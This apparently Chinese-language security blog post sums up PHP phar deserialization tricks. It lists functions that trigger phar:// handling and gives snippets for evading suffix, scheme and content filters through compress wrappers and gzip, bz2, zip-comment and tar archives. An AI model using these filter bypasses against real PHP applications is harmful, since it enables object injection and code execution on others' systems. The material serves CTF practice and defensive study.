Diggid's Blog

phar反序列化tricks小总结

字数统计: 633阅读时长: 2 min
2021/05/18 Share

触发phar的函数

非常多,@zsx师傅的一篇文章挖掘出来的

image-20210518194610620

还有

  • standard

    • getimagesize
    • getimagesizefromstring
  • file / url

    • get_meta_tags
    • get_headers
  • hash

    • hash_hmac_file
    • hash_file
    • hash_update_file
    • md5_file
    • sha1_file
  • exif

    • exif_thumbnail
    • exif_imagetype
  • gd

    • imageloadfont
    • imagecreatefrom***
  • zip

1
2
3
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

过滤phar后缀

随便改一个就行,phar文件不依赖后缀,只依赖文件内容来识别

过滤phar://

配合其他压缩的伪协议

1
2
compress.bzip2://phar://[path]/xxx.xxx
compress.zlib://phar://[path]/xxx.xxx

过滤phar内容

这里不从phar底层源码分析因为太菜了:|,简单总结一下几种phar内容的绕过方式。其实仔细推敲一下phar,为什么能触发反序列化,其中一种就是在$phar->setStub("GIF89A__HALT_COMPILER();");,该函数设置phar的存根,使其能够反序列化特征字符串是__HALT_COMPILER();。所以phar才会对metadata的部分进行反序列化操作,但其实,不局限于此,一共有五种方式能促使phar进行反序列化。

gzip

生成正常的phar文件,然后

1
gzip phar.phar

生成phar.phar.gz

1
phar://./phar.phar.gz

bz2

php默认不开启bz2扩展,需要加载相应的so

同上,换个命令

1
bzip2 phar.phar

生成phar.phar.bz2

1
phar://./phar.phar.bz2

zip注释

把反序列化内容写到zip的注释中可会触发

1
2
3
4
5
6
7
8
$a = serialize(new a());
$b = str_replace('s:','S:', $a);
$c = str_replace(chr(0), '\x00', $b);
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($c);
$zip->close();

注意zip注释有个坑点:

注释中不能有\x00(实际是不可见的),当序列化对象的成员变量被protected修饰时,就会出现。解决办法是可以用大写S来代表序列化字符串,大写S中的字符串可以进行16进制编码,即S:"\x00*\x00...",如果是小写s,其中的\x00是不可见的,但还要区别命名空间的\,因此对于命名空间的\,我们需要在S中编码为\x5c(但一般命名空间是修饰在类名中,可以不用改)。

1
phar://./test.zip/test.txt

tar

1
file_put_contents('.phar/.metadata',serialize($a));

文件名必须是.phar/.metadata,因为底层phar处理时解压tar文件后会判断文件名是否为.phar/.metadata来决定是否进行反序列化

然后执行

1
tar -cf test.tar .phar/

生成test.tar

1
phar://./test.tar
CATALOG
  1. 1. 触发phar的函数
  2. 2. 过滤phar后缀
  3. 3. 过滤phar://
  4. 4. 过滤phar内容
    1. 4.1. gzip
    2. 4.2. bz2
    3. 4.3. zip注释
    4. 4.4. tar